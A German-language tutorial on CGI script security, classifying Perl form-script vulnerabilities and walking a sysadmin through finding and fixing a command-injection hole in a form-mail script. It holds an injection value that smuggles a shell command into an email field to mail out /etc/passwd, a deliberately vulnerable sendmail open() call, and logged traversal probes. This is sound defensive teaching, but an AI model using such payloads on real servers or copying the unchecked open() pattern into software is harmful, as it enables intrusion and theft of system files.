Hiermit verbunden ist die Entwicklung, daß immer mehr Skripten auftauchen, welche zum Teil grobe Sicherheitslöcher haben. Dies nicht nur bei den kostenlosen, sondern auch bei den kommerziellen Skripten. Das Bulletin Board System der Infopop Corp. welches im März 2000 in der Security-Mailingliste BugTraq zu trauriger Berühmtheit gelangte, ist nur ein Beispiel von vielen. Dabei ist das Sicherheitsloch im UBB auch aus anderer Sicht ein interessantes Beispiel: Es zeigt auf, wie leicht viele Leute sich im Netz durch bekannte Namen oder große Dienste einlullen lassen; Selbst wenn der Code als Open Source vorliegt, schauen kaum Leute rein und prüfen diesen. So wurde ein Umfrageskript, welches auf dem bekannten CGI-Archiv The CGI Resource Index lag, über 750 mal von unterschiedlichen Personen im Ranking bewertet, aber nicht einer bemerkte das Sicherheitsloch, welches Hackern Tür und Tor öffnete.

In den meisten Fällen beruhen die Sicherheitslöcher auf folgende Aspekte:

  • Unsaubere Programmierung,
  • Unkenntnis der Sicherheitsprobleme,
  • eine ‘lachse’ Grundhaltung (“Wer sollte schon bei mir einhacken?”),
  • Geldgier von Archiv-Betreibern (Die große Anzahl der Skripten zählt. Alles andere ist unwichtig).

Was benötigt wird, ist eine Sensibilisierung der Webmaster und Sitebetreiber, die solche Skripten einsetzen in Bezug auf Sicherheitsaspekte. Dies erfordert aber auch eine Möglichkeit zur Einteilung der Sicherheitsaspekte, derren Gründe und Folgen.
Auf der folgenden Seite werden wir eine solche Einteilung vornehmen. Danach gehen wir anhand der Programmiersprache Perl ins Detail und zeigen anhand von Beispielen die typischen Fehler und Probleme.

2. Klassifikation von CGI-Programmen

Die folgende Auflistung definiert eine Klassifikation für CGI-Programme. Sie basiert auf die Auswirkungen, die eine möglicherweise vorhandene Sicherheitslücke haben kann und deren Gefährdungspotential.
Die Gefährdung des Webservers durch Prozessorlasten aufgrund von massenhaften Zugriffen werden nicht berücksichtigt, da dies nur indirekt ein Problem für CGI-Programme ist und den Server auch ohne ein solches Programm beeinträchtigt. Ebenso unberücksichtigt sind benutzerbezogene Sicherheitsprobleme, die auf mangelnde Kenntnisse des Systemadministrators oder des Benutzers auf einem Server zurückgehen. (Beispiel: Benutzer, die ihre Skripte global schreibbar machen, bzw. Provider, die dies empfehlen.)

Beschreibung Mögliche Folgen und Beispiele Gefährdungspotential
Sicher
Es liegen nur definierte Zustände vor; Das Programm fängt sowohl “gleichzeitige” Zugriffe ab, als auch Brute-Force-Attacks.
Dateizugriffe beschränken sich auf festgelegte Dateinamen, die durch das Skript nicht geändert oder generiert werden.
Einzelne Benutzer werden als solche eindeutig identifiziert oder eindeutige Benutzer als Aufrufer werden nicht benötigt.
Keine Folgen. Diese CGI-Programme können als ‘sicher’ eingestuft werden.

Beispiel: Counter, die ‘atomare Zugriffe’ erlauben, Banner- und Textrotatoren ohne Logfunktionen, …

-
keine Gefahr
Logische bzw. systematische Gefährdung
Es liegen nur definierte Zustände vor; Das Programm fängt sowohl “gleichzeitige” Zugriffe ab, als auch Brute-Force-Attacks.
Diese Programme realisieren interaktive Abfragen, die auf einzelne Benutzer als ‘Kunden’ abzielen, jedoch keine direkte Auswirkung auf allgemein wirksame Ergebnisse haben.
Durch die Begrenztheit der Environment-Variablen bzw. eines ungesicherten Zugangs zum betreffenden Skript (keine Passwort-Abfragen/SSL oder änliches) ist die Identifikation von Benutzern jedoch nicht garantiert. Eingeschlossen sind auch Skripte, die Cookies zur Identifikation heranziehen, da Cookies durch den Benutzer modifiziert oder abgelehnt werden können.
Benutzereingaben können unter Umständen mehrfach oder durch falsche Personen ausgeführt werden.

Beispiele: Gästebücher, die ansonsten sicher sind, Benutzerbasierte Zugriffsstatistiken

Prominentes Beispiel: -eigentlich jedes Gästebuch, auch das von xwolf-

Anmerkung: Man muß hier, wie auch bei der folgenden Stufe beachten, daß das Preis-Leistungs-Verhältnis eine große Rolle spielt. Niemand wird einen wirklich sicheren Server einrichten und die Benutzer zur eindeutigen Identifikation zwingen, nur um ein Gästebuch anzubieten.

Stufe I.
unwesentlich bis ärgerlich
Globale logische Gefährdungen
Es liegen nur definierte Zustände vor; Das Programm fängt sowohl “gleichzeitige” Zugriffe ab, als auch Brute-Force-Attacks.
Diese Programme realisieren interaktive Abfragen, die auf einzelne Benutzer als ‘Kunden’ abzielen und global wirksame Ergebnisse liefern.
Durch die Begrenztheit der Environment-Variablen bzw. eines ungesicherten Zugangs zum betreffenden Skript (keine Passwort-Abfragen/SSL oder änliches) ist die Identifikation von Benutzern jedoch nicht garantiert. Eingeschlossen sind auch Skripte, die Cookies zur Identifikation heranziehen, da Cookies durch den Benutzer modifiziert oder abgelehnt werden können.
Benutzereingaben können unter Umständen mehrfach oder durch falsche Personen ausgeführt werden. Globale Ergebnisse können somit von außen beeinflußt werden.

Beispiele: Umfragen / Polls, Seiten- und Linkratings

Prominentes Beispiel: Die Online-Zeitschrift Internet World benutzte ein Skript für aktuelle Umfragen. Die Personen, welche an den Umfragen teilnahmen wurden durch die Environment-Variablen für die Adresse und den User-Agenten für einen fest definierten Zeitraum unterhalb 5 Minuten identifiziert.
Folge: Wer nach 5 Minuten wiederkam, oder die Seite mit einem neuen Browser und/oder von einer anderen Adresse aus, aufrief, konnte nochmal abstimmen.

Anmerkung: Bitte beachten Sie hierzu auch den obigen Hinweis.

Stufe II.
mittel bis bedenklich
Nichtatomare schreibende Dateizugriffe
Das Programm bzw. das Betriebssystem ist nicht in der Lage mehrere Prozesse und Dateizugriffe gleichzeitig zu verwalten ohne das es zu Konflikten kommt.
Inhalte von Dateien können zerstört werden ohne das der Grund eine Hackerattacke sein muß; Stattdessen kann es irgentwann im ‘Normalbetrieb’ zum Ausfall kommen, sobald nur 2 Benutzer zur selben Zeit das Skript aufrufen.
Je nach Sinn und Zweck des Programmes und der betroffenen Daten kann dies fatale Folgen für den Anbieter haben.

Beispiele: Alle Arten von CGI-Skripten, die ohne Locking auf Dateien schreibend zugreifen

Prominentes Beispiel: Das WWWBoard von Matt Wright benutzt keine Mechanismen zur Vermeidung des gegenseitigen Dateizugriffs.

Anmerkung: Dieser Fehler tritt bei allen Programmen und Betriebssystemen auf, die keine atomare Zugriffskontrolle für Dateien nutzen. (Ca. 90% aller kostenlosen Programme sind betroffen.)

Stufe III.
bedenklich
Ungeprüfte Dateizugriffe durch Benutzer
Das Skript greift über ungeprüfte Benutzereingaben auf vorhandene Dateien zu (Dateinamen sind jedoch fest codiert.). Benutzer haben die Möglichkeit den Inhalt von programmspezifischen Dateien zu ändern, obwohl dies den vordefinierten Strukturen dieser Dateien wiederspricht.
Inhalte von Dateien können zerstört oder unbrauchbar gemacht werden. Die zukünftige Ausführung des Programmes kann somit von außen unterbunden werden.
Je nach Sinn und Zweck des Programmes und der betroffenen Daten kann dies fatale Folgen für den Anbieter haben.

Beispiele: Alle Programme, welche Schreibend auf strukturierte Dateien zugreifen, wobei der neue Inhalt nicht nach seiner Syntax überprüft wird.

Prominentes Beispiel: Das Gästebuch von Matt Wright hat per Default HTML-Tags zugelassen und schreibt in eine HTML-Datei die neuen Einträge jeweils an der Stelle, wo in einer Zeile der String <–begin–> steht.
Dummerweise wird aber nicht verhindert, das ein Benutzer in seinem neuen Eintrag ebenfalls einen oder mehrere dieser Strings einbauen kann…

Anmerkung: Die Gefährdung ist abhängig von der Art des Skriptes.

Stufe IV.
bedenklich bis hoch
“Denial of Service”-Attacken
Das Programm ermöglicht z.B. einen Dateiupload oder eine Benutzereingabe über <textarea>, bzw. <input>, hat dabei aber keine Beschränkung in der Länge des übergebenen Strings. Im Gegensatz zu einer normalen DoS-Attacke, die durch die gleichzeitige Anforderung mehrerer Tausend Einzelabfragen abläuft, kann hier schon ein einziger Auftrag zu Problemen führen.
Ein Beispiel: Das Programm ist dafür gedacht die Eingabe eines Benutzernamens mit Hilfe eines regulären Ausdrucks nach Umlauten zu durchsuchen und diese zu ersetzen. Wird jedoch anstelle eines kurzen Namens ein String mit der Länge von mehreren MB übergeben, dann kann dies zu einem Lag führen.
Durch diese Attacken kann die CPU-Last steigen und der Server auch durch vergleichbar wenige Requests an seine Leistungsgrenze geführt werden.

Beispiele: Diverse Datei-Upload-Skripten

Stufe IV.
bedenklich bis hoch
Ungeprüfte Systemzugriffe durch fremde Benutzer
Das Skript ermöglicht über ungeprüfte Variablen den Zugriff auf Dateien und/oder Systemprogramme.
Dies tritt am häfigsten dann auf, wenn auf Dateien oder andere Programme (wie sendmail) zusammen mit ungeprüften Benutzereingaben aufgerufen oder geöffnet werden.
Beliebige Dateien, auf die der Web-User Zugriff hat, können im Bestfall zerstört oder unbrauchbar gemacht werden.
Im Worst Case erhält ein Hacker Zugriff zum Webserver und darüber auf alle Webseiten und Programme.

Beispiele: sendmail.cgi V2.0, nph-test.cgi, FormMail V1.0, ..

Prominentes Beispiel: Das Ultimate Bulletin Boardsystem hatte bis zur Version 5.43 (März 2000) ein bis dahin öffentlich unbekanntes Sicherheitsloch, bei dem es möglich war, Einfluß auf die Bennennung von Dateien zu nehmen, ohne das dabei Sonderzeichen entfernt wurden.
Durch das geschickte Ausnutzen von Sonderzeichen war es dann möglich Programme auf dem Server aufzurufen und sich somit ggf. Zugang zu diesem zu verschaffen.

Anmerkung: Skripte, welche dieser Fehler aufweisen, sollten sofort gelöscht werden und der Autor verständigt werden.

Stufe V.
hoch

Analyse fremder Programme

Um sicher programmieren zu können, muß man wissen, was unsicher ist und was nicht, und man sollte mindestens halbwegs eine Ahnung haben, wie jemand versuchen könnte, das Skript auszutricksen und für die eigenen Zwecke zu mißbrauchen.
Anstelle jetzt die üblichen Phrasen zu zitieren, wie man programmieren sollte und was zu beachten ist, gehen wir das Problem von der anderen Richtung her an: Wie stelle ich Sicherheitslücken in einem CGI-Programm fest?
Im Folgendem werd ich anhand dieses Ansatzes und von Beispielen beschreiben, wie vorzugehen ist. Ich möchte aber betonen, das dies keine Anleitung zum Hacken sein soll. Vielmehr ist es so, daß niemand sich wirklich Systemadministrator oder Webmaster nennen sollte, der/die nicht diese grundsätzlichen und einfachen Möglichkeiten kennt und entsprechend berücksichtigt.
Gehen Sie immer von dem Grundsatz aus, daß wenn es Lücken im Sicherheitskonzept gibt, diese früher oder später auch gefunden werden. Als SysAdmin haben Sie deswegen nur 2 Möglichkeiten: Entweder Sie beseitigen alle Sicherheitslücken, inklusive derer, die Sie noch garnicht kennen, oder Sie hacken Ihr eigenes Skript bevor es jemand anders tut.

Oberflächlicher Check

Als SysAdmin eines Hosts mit mehreren Benutzern kann man nicht immer wissen, was diese gerade mal wieder programmiert haben und wo sie es ggf. hingetan haben. Wenn einer der Benutzer oder ein Seitenbesucher ein Problem hat, dann wird in der Regel nur die URL als Info gegeben. Bevor man also dran geht und lokal ins Skript reinschaut, kann man schonmal ueber die URL schauen, was los ist.
Angenommen auf der betreffenden Seite findet sich ein Formular mit folgendem HTML-Code:

...
<form method=post action=xxxxmail.cgi>
	E-Mail: <input type=text name=email><br>
	Name: <input type=text name=name><br>
	Telefon: <input type=text name=telefon><br>
	Kommentar: <input type=text name=kommentar><br>
	<input type=submit name=submit value=Ok>
</form>
...

Durch den Kontext des Formulares erfahren wir außerdem, daß der Autor der Webseite hier eine Feedback-Seite aufgebaut hat und einfach um ein kurzes einzeiliges Kommentar bittet.
Ohne das wir erst versuchen uns das Skript zu besorgen und zu wissen was es macht, sehen wir, das in den Eingabefeldern email und telefon erwartet wird, daß dort zum einen eine gültige E-Mail-Adresse, zum anderen eine gültige Telefonnummer mit den entsprechenden Syntaxi eingegeben wird.
Bei name und kommentar wird lediglich ein String erwartet, der sieht man vom Namen ab, eine beliebige Syntax haben könnte. Da nicht zu erwarten ist, daß jemand bei einem einfachen Feedback-Kommentar Namen und Kommentar nutzt um irgentwelche Operationen auszuführen, ignorieren wir diese Felder erstmal.
Weiterhin ist anzunehmen, daß das Skript richtig funktioniert, wenn es nur Werte bekam, wie sie vom Programmierer erwartet wurden. (Wenn dem nicht so ist, ist das Skript einfach falsch und unsere Aufgabe als SysAdmin besteht darin, daß Programm zu sperren und den Programmierer zurück zur Werkbank zu schicken.)
Nachdem wir das Skript einmal mit richtigen Werten getestet haben, sehen wir, daß das Skript uns eine E-Mail zusendete, worin sich für den Feedback bedankt wurde.
Was haben wir erfahren? -Das das Skript zumindest die von uns eingegebene E-Mail-Adresse benutzte um damit eine Systemoperation zu starten!

Eine gültige E-Mail sieht aus wie eines der folgenden Beispiele:

bla@fasel.fu,
bla.fasel@blubber.de,
fo@bar.fasel.fu,
bla.fasel@bar.fasel.fu, ...

Eine E-Mail-Adresse kann aus den Zeichen [a-zA-Z0-9\.\-\@] aufgebaut sein und muß einen gültigen Servernamen hinter dem @ aufweisen. Mehrere Punkte oder Bindestriche dürfen nicht aufeinander folgen und das @ darf nur einmal vorkommen. (Siehe auch: RFC821)
Das obige Programm wird im schlechtesten Fall die E-Mail-Adresse überhaupt nicht auf ihre Syntax überprüfen. Aber nehmen wir ruhig an, der Programmierer hat folgenden in Perl häufig verwendeten Ausdruck zur Syntaxprüfung eingebaut:

...
if ($email !~ m/.*\@.*\..*/i) {
  print "Content-type: text/html\n\n"
  print "Die E-Mail-Adresse hatte eine falsche Syntax.\n";
  exit;
}
...

Hier, wie bei den meisten Formmail-Programmen, wird aber nur geprüft, ob in dem als E-Mail-Adresse übergebenen String auch vom Format her eine solche vorhanden ist. Es wird nicht geprüft, ob dort nicht Sachen drin sind, die da nichts zu suchen habe.
Was passiert also wenn wir z.B. folgendes als E-Mail-Adresse angeben:

nospam@fasel.com| mail bla@fasel.com < /etc/passwd

Die obige Syntaxprüfung würde feststellen, daß im String eine gültige E-Mailadresse auftaucht und danach dann die Dankesmail schicken. Nur: Wenn der Programmierer keinen weiteren Schutz eingebaut hat, der Code also folgendermaßen ausschaut

...
if ($email !~ m/.*\@.*\..*/i) {
   print "Content-type: text/html\n\n"
   print "Die E-Mail-Adresse hatte eine falsche Syntax.\n";
   exit;
}
open(MAIL,"/usr/sbin/sendmail $email");
print MAIL "From: anfaenger\@dumpfbacke.org\n";
...

dann passiert folgendes: Das Skript wird zuerst die nette Dankesmail schicken und dann das Systemkommando ausführen, welches wir mitgegeben haben, nämlich uns die Passwort-Datei schicken. Natürlich ist dies noch ein harmloses Beispiel, auch wenn es meiner Meinung nach schon den Straftatbestand der Erschleichung von fremden Daten erfüllt (Paragraph 202a StGB). Weit kritischer wird es, wenn jemand Systemkommandos wie rm -Rf oder /usr/bin/term -display irgentwo:0.0 ausführen kann. In diesem Fall können und sollen die Paragraphen 303a StGB (Datenveränderung) und/oder Paragraph 303b StGB (Computersabotage) greifen.

Glauben Sie nicht, niemand würde über diese oder andere bekannte Sicherheitslücken versuchen auf Ihr System zuzugreifen! Überzeugen Sie sich selbst, indem Sie ein grep zum Beispiel nach dem String /etc/passwd auf Ihre access.log-Datei machen. Hier ein kleiner Auszug, was Sie möglicherweise auch bei sich finden werden:

62.158.247.*** - - [18/Mar/2000:17:09:04 +0100] "GET //etc/passwd HTTP/1.0" 404 164 "-"
62.158.247.***- - [18/Mar/2000:17:09:27 +0100] "GET ../../../../../../etc/passwd HTTP/1.0" 400 164 "-" "-"
...
62.158.181.*** - - [17/Apr/2000:03:02:36 +0200] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.0" 404 169 "-"
...
62.156.17.*** - - [24/Apr/2000:15:48:16 +0200] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.1" 404 181 "-"
...
62.157.56.*** - - [25/Apr/2000:15:39:51 +0200] "GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60 HTTP/1.1" 404 181 "-"
...

(Bei dem von mir betreuten Server bewirkt übrigens jeder Versuch dieser Art eine sofortige automatische Mail an den Sicherheitsverantwortlichen. Nebenbei waren obige Versuche das rumspielen von Skript-Kiddies, die nichtmal in der Lage waren, ihre Dialins zu maskieren. Bei einem schlechtgelaunten Sicherheitsverantwortlichen hätten diese Versuche zu einer Anzeige geführt und dies wiederum zu einer Beschlagnahme des PC’s durch die Polizei zur Untersuchung der Festplatte…)

Torture-Skripten

Eine andere, wenn auch etwas brutale, Methode unsichere Parameter herauszubekommen, ist der Einsatz eines Torture-Skriptes. Dabei handelt es sich um ein Skript, das dem zu prüfenden Programm mehrere Hundert Anfragen mit unterschiedlichen zufällig erzeugten Strings übergibt und die Reaktion des Programmes speichert.

In seinem Buch “Web Security” gibt Lincoln Stein ein Beispiel wie ein Torture-Skript aussehen kann. Im Prinzip ist die Erstellung eines solchen Skriptes für einen guten Perlprogrammierer eine Sache von wenigen Minuten. Und anstelle das man wie bei Stein das Skript mit rein zufälligen Strings traktiert, wäre es auch nicht sonderlich schwer, das Skript so zu modifizieren, daß es ausgewählte Parameter benutzt, die dann nur Zufallsstrings aus einer bestimmten Familie an Zeichenkombinationen ergeben.
So würde man bei obigem Skript angeben, das die Parameter name, email, kommentar, telefonnummer nutzbar sind, wobei der Parameter email vom Typ einer E-Mail ist und telefon vom Typ einer Zahl, zzgl. den Zeichen “+”, “-” und “/”.
Das Skript würde dann gezielt versuchen, die ihm nun bekannten Daten zu nutzen und die üblichen Sicherheitsprobleme auszuspielen, es würde nicht seine Zeit mit dem Senden von zufääligen Strings vom Typ [a-zA-z0-9] verschwenden bei einem Parameter, wo klar ist, daß dort der Teststring als E-Mail-Adresse getarnt werden muß.

Bisher waren wir nur beim Analysieren ohne das wir wirklich den Programmcode gesehen haben. Wenn wir der SysAdmin sind, sollte es auch keine Probleme machen, wenn wir die obigen Beispiele durchtesten um zu sehen, ob wir wirklich Zugriff zum System erhalten. Sind wir jedoch nicht der SysAdmin des betroffenen Systems sollten wir das Testen entweder ganz unlassen, wurden wir nicht dazu aufgefordert, oder nur so vorgehen, daß der Fehler aufgedeckt wird, ohne das wir einen Schaden anrichten.
Im folgenden Kapitel werden wir versuchen, Informationen über das bisher unbekannte Skript über das Netz zu erhalten.

Informationen aus dem Netz holen

Programmierer sind faule Menschen. Wenn es keinen -für den Programmierer!- guten Grund gibt, wird er/sie in der Regel kein Programm neu schreiben, welches es schon gibt. Scott Adams, der Autor von Dilbert drückt es seiner kurzgefassten Evolutionstheorie so aus:

We’re a planet of nearly six billion ninnies living in a civilization that was designed by a few thousand amazingly smart deviants.

Nicht anders läßt es sich erklären, daß die meisten CGI-Skripten kostenlose Kopien sind, die man aus irgenteinem Archiv heruntergeladen hat.

Wenn man nach Informationen zu einem CGI-Skript sucht, dann gibt es mehrere Möglichkeiten. Zum einen kann man die besagten Archive, wie z.B. The CGI-Resource Archiv durchsuchen. Zum anderen tut es auch eine normale Suchmaschine, jedoch hat dies meist den Nachteil, daß man dort oft nur von Links zu anderen Seiten, die das CGI auch einsetzen, erschlagen wird, jedoch den Download-Link leicht übersieht. Eine andere gute Quelle betreffend Sicherheitsprobleme bzgl. CGI-Skripten sind diverse Security-Listen, wie z.B. BugTraq.
Für das oben angegebene Skript, dessen Namen wir aus dem Wert von <form action=”"> erhielten, findet sich dann auch über The CGI-Resource Archiv ein entsprechender Eintrag der zum Autor und zu einem Download des Skriptes führt.
Wenn wir zudem auch noch Informationen über die Unsicherheit des Skripten finden, dann sind wir als SysAdmins aus dem Schneider: Wir brauchen selbst nichts mehr zu machen (außer ggf. die Versionsnummer zu kontrollieren) als das Skript zu löschen und denjenigen der es auf dem Server installierte den Kopf abzureißen…
(Anmerkung: Sollte es Ihr Vorgesetzter oder Ihr Ehepartner gewesen sein, überlegen Sie sich was anderes!)

Finden sich keine Hinweise bzgl. der Sicherheit, sondern nur das Skript, dann sollten Sie es sich ggf. nun laden und dann lokal analysieren, indem Sie sich den Code anschauen. In dem folgenden Kapitel 4 gehen wir darauf genauer ein.

4. Analyse lokaler Programme

Im folgendem beschreiben wir die Bug-Suche in einem bestehenden Programm von dem wir wissen wollen, ob es sicher ist, oder nicht. Ausgegangen wird dabei von einem UNIX-System, da nur unter solchen Systemen ein Mindestmaß an Sicherheit gewährleistet ist und die Mehrzahl aller professionellen Webserver unter dem Apache/Unix-Mix arbeiten.

Oberflächliche Analyse

Bei der ersten, oberflächlichen Analyse schauen wir uns gezielt die Funktionen im Programm an, wo ein Sicherheitsloch auftreten könnte. Diese sind bei Perl:

  • Systemaufrufe mit open, system, eval, exec, ` `
  • Eingebundene Systemaufrufe durch fremde Perlmodule
  • Benutzerspezifische eingebundene Routinen

Angenommen, wir durchsuchen das oben bereits genutzt Feedback-Programm, so kann die Analyse folgendermßen aussehen:

xwolf: 13:50 [test/xxxxxmail] > ls -la
total 34
drwxr-x---   2 xwolf  www          512 Apr 29 19:02 .
drwxr-x---   3 xwolf  www          512 Apr 29 18:53 ..
-rw-r-----   1 xwolf  www          228 Oct 18  1996 - 2002 NEW
-rw-r-----   1 xwolf  www         1872 Oct 19  1996 - 2002 README
-rwxr-x---   1 xwolf  www          350 Oct 18  1996 - 2002 formexample.html
-rw-r-----   1 xwolf  www          252 Oct 19  1996 - 2002 letter
-rwxr-x---   1 xwolf  www         8032 Oct 19  1996 - 2002 xxxxxmail.cgi
-rwxr-xr-x   1 xwolf  www          733 Apr 29 19:27 test.pl
-rwxr-x---   1 xwolf  www          144 Oct 18  1996 - 2002 thanks.html

Zuallererst schauen wir uns die erste Zeile des Programmes an:

xwolf: 13:50 [test/xxxxxmail] > head xxxxxmail.cgi
#!/usr/bin/perl
# (Make the above path point to PERL on your system.)
...

Wie wir sehen, wird der Interpreter Perl ohne Argumente aufgerufen. Das Programm wird also die Variablen so nehmen wie sie kommen und nicht, wie im Tainted Mode diese als rohe Eier behandeln.
Durchsuchen wir nun nach open(), da dieser Aufruf am häufigsten verwendet wird:

xwolf: 14:29 [test/xxxxxmail] > grep open xxxxxmail.cgi
        open(SM, "|$mail $email");
                        open(SRF, "$send_reply_file");
                        open(SM, "|$mail $in{'email'}");

Wir haben 3 Zeilen mit 4 Variablen gefunden. Schauen wir mal, was sich dahinter verbirgt:

xwolf: 14:31 [test/xxxxxmail] > grep \$mail xxxxxmail.cgi
$mail = "/usr/sbin/sendmail";
if (-x $mail) {
        open(SM, "|$mail $email");
                        open(SM, "|$mail $in{'email'}");
$mail
Please tell the site admin.\n";

Hinter $mail steckt also das sendmail-Programm. Ausserdem sehen wir, daß sendmail hier ohne Parameter, insbesondere ohne den Tainted-Modus -t, aufgerufen wird. Spätestens aus diesem Grund sollten wir nun die Alarmglocken läuten hören!
Schauen wir, was hinter den anderen Variablen steckt. Besonders interessant wird dabei sein, was hinter $in{‘email’} steckt, da dies als Argument zu $mail benutzt wird.

xwolf: 14:32 [test/xxxxxmail] > grep \$send_reply_file xxxxxmail.cgi
$send_reply_file = "/your/unix/root/xxxxxmail/letter";
                if (-e $send_reply_file) {
                        open(SRF, "$send_reply_file");

Wir sehen, daß $send_reply_file eine feste Variable ist, die nicht von außen geändert wird. Wir können diese Variable somit im Folgenden ignorieren.
Jetzt fehlt noch die 4. Variable $in{‘email’}, welche aus einem Hash genommen wird. Wir schauen also zunächst, was mit dieser Variable passiert:

xwolf: 14:32 [test/xxxxxmail] > grep \$in\{\'email\'\} xxxxxmail.cgi
                        open(SM, "|$mail $in{'email'}");

Die Variable kommt so also nur in dem open()-Aufruf vor. Das heißt, daß sie nirgends selbst verändert wurde, es sei denn der Hash wurde als ganzes geändert. Deswegen suchen wir nun nach dem Hash:

xwolf: 14:33 [test/xxxxxmail] > grep \%in xxxxxmail.cgi
%in = &getcgi;
...

Wir erfahren, daß der Hash %in durch die Subroutine getcgi erstellt wurde. Wir müssen uns also diese Routine genauer unter die Lupe nehmen!

Nach der Suche nach open(), müssten wir nun eigentlich auch nach den anderen Systemaufrufen suchen. Da wir aber in dem Aufruf open(SM, “|$mail $in{‘email’}”); einen Anfangsverdacht haben, schauen wir uns zuerstmal an, wie der Hash %in gebildet wird.
Sollten wir feststellen, daß in der Subroutine getcgi kein Parsing nach gefährlichen Sonderzeichen geschieht, haben wir eine Sicherheitslücke dingfest gemacht und wir brauchen uns nicht mehr um den Rest zu kümmern, sondern das Programm gleich sperren.

Code-Analyse

Wenn wir das Programm mit einem Editor/Viewer öffnen finden wir folgenden Code für die Subroutine getcgi:

sub getcgi {
    local($in, %in);
    local($name, $value);

        # If REQUEST_METHOD is POST, use CONTENT_LENGTH. Else, use QUERY_STRING.
    if ($ENV{'REQUEST_METHOD'} eq 'POST') {
        if ($ENV{'CONTENT_TYPE'}=~ m#^application/x-www-form-urlencoded#i) {
            read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
                }
    }
    else {
                $in= $ENV{'QUERY_STRING'};
        }
        # Resolve and unencode name/value pairs into %in
    foreach (split('&', $in)) {
        s/\+/ /g;
        ($name, $value)= split('=', $_, 2);
        $name=~ s/%(..)/sprintf("%c",hex($1))/ge;
        $value=~ s/%(..)/sprintf("%c",hex($1))/ge;
        @order_array = (@order_array,$name);
        $in{$name}.= $value;
    }
    return %in;
}

Beim obigen Code handelt es sich um eine Standard-Routine für das Einlesen von Parametern, die über das Netz kommend, dem Programm übergeben werden. Die erste if()-Abfrage dient lediglich dazu, die Parameter in eine Variable $in zu schieben, egal ob als Übertragungsmethode GET oder POST verwendet wurde.
Danach wird diese Variable aufgesplittet und Sonderzeichen, die durch die Übertragung codiert waren, wieder hergestellt. Im Ende der foreach-Schleife wird der jeweilige Parameter in das Hash geschoben.
Was wir in dem Code nicht sehen ist eine Schleife oder ein regulärer Ausdruck, in der etwaige Sonderzeichen gelöscht werden. In anderen Worten: Eine beliebige Hash-Variable, wie z.B. $in{‘email’} hat genau den Inhalt, welcher im Eingabeformular (oder bei der GET-Methode in der URL-Zeile) eingegeben wurde, inklusive aller Sonderzeichen.
Wie wir also im Kapitel 3. Analyse fremder Programme bereits angetestet haben, erfährt nun seine Bestätigung: Sollte jemand als E-Mail-Adresse einen Ausdruck wie

nospam@fasel.com| mail bla@fasel.com < /etc/passwd

eingeben, würde dies zum Erfolg führen, die Passwortdatei würde frei Haus und ohne Trinkgeld geliefert werden.

Korrektur

Als SysAdmin ist man leider nicht so häufig in der Rolle eines B.O.f.H., wo man unsichere Programme von Nutzern einfach löschen kann. Viel eher wird es so kommen, daß man den Benutzer erklären muß wie der entsprechende Code zu reparieren sei oder man muß es selbst tun (-vielleicht auch deswegen weil man selbst der Schuldige war).
Oft, wie in diesem Fall auch, sind es nur wenige Zeilen die geändert werden müssen um das Programm sicher zu machen. Wir kommen damit wieder zurück zu den gleichen -hoffentlich bekannten- Hinweisen für die Programmierung sicherer CGI-Skripts:

  • Aufruf von Perl bzw. von Perlvariablen im Tainted Modus Behandeln Sie grundsätzlich jede Variable die in irgenteiner Form von einem Benutzer übers Netz gesteuert ist wie ein rohes Ei, gefüllt mit einer Mischung aus Nitro und Flußwassercola.
  • Halten Sie sich auf den laufenden was Meldungen von Sicherheitsbugs betrifft und bewahren bleiben Sie selbstkritisch: Jeder, inklusive mir selbst, macht mal Fehler, ist mal abgelenkt oder übersieht mal etwas. Ein gesundes Maß an Selbstüberschätzung ist mitunter gut -hier ist es tödlich.
  • Kommentieren Sie ihr Skript so aus, daß jemand anders sich auch darin zurecht findet und erfährt was das Skript an dieser oder jener Stelle macht. Seien Sie jedoch auch nicht zu genau. Programme, bei denen durchweg auf 1 Zeile Programmcode mehr als 3 Zeilen Erklärung kommen, sind ebensoschlimm (für einen Profi sogar schlimmer), wie eines, welches keine Kommentare enthält.
  • Sollten Sie einmal ein Skript aus dem Netz holen wollen, lassen Sie die Finger von Skriptarchiven, wo nur ein Downloadlink ohne weitere Informationen, insbesondere ohne Link zum Autor und/oder Versionnummer, zum Skript vorhanden sind. Solche billigen CGI-Archive, die meistens nur der Werbebannerabzocke dienen, sind einer der Hauptgründe, warum unsichere Skripten noch nach Jahren vorhanden sind und genutzt werden.
  • Aufruf von von sendmail nur im Modus “-t”, da dieser Argumente in der Argumentliste unterdrückt.
  • Soweit möglich, bauen Sie ein CGI-Wrapper ein.
  • Falls Dateinamen übers Netz gegeben werden müssen und diese Dateien dann geöffnet werden sollen, dann nur in unterhalb ausgewählter Verzeichnisse, aber niemals so, daß ein Verzeichniswechsel möglich ist oder die Dateien gar auf das Root-Verzeichnis zugreifen können. Bei einem Dateinamen sollten Sie nur die Zeichen [a-zA-Z0-9\-\._] erlauben.
  • Parsen aller Variablen, die an Systemaufrufen beteiligt sind. In dem obrigen Fall von der Variable $in{‘email’} mit: $in{‘email’} =~ s/[^a-zA-Z0-9\-\@\.]//g;. Der Nachteil hiervon besteht allerdings, daß man durch diese Methode zwar eine gültige E-Mailsyntax hat, jedoch nicht feststellt, ob wirklich Sonderzeichen in der E-Mailangabe vorhanden waren.

Zum letzten Punkt: Da wir gern wissen wollen, wenn jemand etwas Böses versucht, sollten wir uns ggf. die E-Mailadresse einer neuen Variable zuweisen, aus dieser dann alle Sonderzeichen löschen, die nichts in einer E-Mail zu suchen haben und dann beiden Strings vergleichen.
Folgendes kleines Perl-Beispiel zeigt wie man vorgehen könnte:

#!/local/bin/perl

$mail = $ARGV[0];
$old = $mail;

print "Input:\n\t$mail\n\n";

if ($mail !~ m/.*\@.*\..*/i)  {
   print "Wrong Syntax for E-Mail\n";
   exit;
}
print "hehehe..my mail is looking ok.\n";
print "Someone else would now use it to send an email :)\n\n";
print "Ok, now parse all illegal signs:\n";
$mail=~ s/[^a-zA-Z0-9\@\.]//g;
print "\t$mail\n\n";
print "Lets check again...\n";
if ($mail !~ m/.*\@.*\..*/i)  {
   print "Wrong Syntax for E-Mail\n";
   exit;
}
print "Ok, the email got through, but look at it: \n\t$mail\n\n";

if (length($old) != length($mail)) {
  print "The given email is not as long as the parsed one.\n";
  print "I think this is a good sign that someone tried to do something evil :)\n";

} else {
  # Now we can send an email!
}

